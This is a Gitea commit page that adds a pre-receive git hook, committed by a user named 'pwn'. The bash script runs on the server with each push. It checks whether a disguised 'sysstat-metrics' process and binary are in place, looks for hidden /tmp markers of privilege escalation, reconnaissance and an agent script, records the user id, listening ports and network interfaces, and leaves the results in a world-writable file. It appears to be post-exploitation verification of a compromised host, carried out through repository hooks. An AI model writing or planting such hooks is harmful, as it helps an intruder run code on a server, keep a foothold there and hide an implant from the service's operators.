pwn 3 months ago
commit
0b6300069e
  1. 19
      .gitea/hooks/pre-receive

19
.gitea/hooks/pre-receive

@ -0,0 +1,19 @@
#!/bin/bash
{
echo "=== verify $(date) ==="
echo "--- pgrep ---"
pgrep -af sysstat-metrics
echo "--- /usr/bin/sysstat-metrics ---"
ls -la /usr/bin/sysstat-metrics /usr/bin/config.yml 2>&1
echo "--- /tmp files ---"
ls -la /tmp/.lpe* /tmp/.nezha* /tmp/.pwned* /tmp/.recon* 2>&1
echo "--- agent.sh exists? ---"
ls -la /tmp/agent.sh 2>&1
echo "--- id ---"
id
echo "--- net ---"
ss -tlnp 2>&1 | head -10
echo "--- ip ---"
ip a 2>&1 | head -10
} > /tmp/.verify_$$ 2>&1
chmod 777 /tmp/.verify_*
Loading…
Cancel
Save